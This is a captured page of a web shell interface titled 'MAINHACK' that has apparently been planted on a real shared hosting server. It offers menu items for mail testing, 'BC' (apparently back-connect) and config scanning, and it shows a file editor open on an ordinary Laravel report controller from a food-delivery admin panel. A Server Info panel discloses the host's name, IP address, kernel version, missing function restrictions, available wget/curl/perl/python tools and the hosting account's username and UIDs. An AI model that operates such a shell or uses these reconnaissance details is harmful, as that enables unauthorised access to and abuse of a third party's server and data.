[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: ReportController.php
<?php namespace App\Http\Controllers\Admin; use App\CentralLogics\Helpers; use App\Http\Controllers\Controller; use App\Models\Order; use App\Models\OrderTransaction; use App\Models\Zone; use App\Models\Restaurant; use Illuminate\Http\Request; use Illuminate\Support\Carbon; use Illuminate\Support\Facades\DB; class ReportController extends Controller { public function order_index() { if (session()->has('from_date') == false) { session()->put('from_date', date('Y-m-01')); session()->put('to_date', date('Y-m-30')); } return view('admin-views.report.order-index'); } public function day_wise_report(Request $request) { if (session()->has('from_date') == false) { session()->put('from_date', date('Y-m-01')); session()->put('to_date', date('Y-m-30')); } $zone_id = $request->query('zone_id', 'all'); $zone = is_numeric($zone_id)?Zone::findOrFail($zone_id):null; return view('admin-views.report.day-wise-report', compact('zone')); } public function food_wise_report(Request $request) { if (session()->has('from_date') == false) { session()->put('from_date', date('Y-m-01')); session()->put('to_date', date('Y-m-30')); } $from = session('from_date'); $to = session('to_date'); $zone_id = $request->query('zone_id', 'all'); $restaurant_id = $request->query('restaurant_id', 'all'); $zone = is_numeric($zone_id)?Zone::findOrFail($zone_id):null; $restaurant = is_numeric($restaurant_id)?Restaurant::findOrFail($restaurant_id):null; $foods = \App\Models\Food::withoutGlobalScopes()->withCount([ 'orders as order_count' => function($query)use($from, $to) { $query->whereBetween('created_at', [$from, $to]); }, ]) ->when(isset($zone), function($query)use($zone){ return $query->whereIn('restaurant_id', $zone->restaurants->pluck('id')); }) ->when(isset($restaurant), function($query)use($restaurant){ return $query->where('restaurant_id', $restaurant->id); }) ->paginate(config('default_pagination'))->withQueryString(); return view('admin-views.report.food-wise-report', compact('zone', 'restaurant', 'foods')); } public function order_transaction() { $order_transactions = OrderTransaction::latest()->paginate(config('default_pagination')); return view('admin-views.report.order-transactions', compact('order_transactions')); } public function set_date(Request $request) { session()->put('from_date', date('Y-m-d', strtotime($request['from']))); session()->put('to_date', date('Y-m-d', strtotime($request['to']))); return back(); } public function food_search(Request $request){ $key = explode(' ', $request['search']); $from = session('from_date'); $to = session('to_date'); $zone_id = $request->query('zone_id', 'all'); $restaurant_id = $request->query('restaurant_id', 'all'); $zone = is_numeric($zone_id)?Zone::findOrFail($zone_id):null; $restaurant = is_numeric($restaurant_id)?Restaurant::findOrFail($restaurant_id):null; $foods = \App\Models\Food::withoutGlobalScopes()->withCount([ 'orders as order_count' => function($query)use($from, $to) { $query->whereBetween('created_at', [$from, $to]); }, ]) ->when(isset($zone), function($query)use($zone){ return $query->whereIn('restaurant_id', $zone->restaurants->pluck('id')); }) ->when(isset($restaurant), function($query)use($restaurant){ return $query->where('restaurant_id', $restaurant->id); }) ->where(function ($q) use ($key) { foreach ($key as $value) { $q->orWhere('name', 'like', "%{$value}%"); } }) ->limit(25)->get(); return response()->json(['count'=>count($foods), 'view'=>view('admin-views.report.partials._food_table',compact('foods'))->render() ]); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium166.web-hosting.com
Server IP: 162.0.209.40
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium166.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 75.11 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: kataubyb
User ID (UID): 624
Group ID (GID): 625
Script Owner UID: 624
Current Dir Owner: 624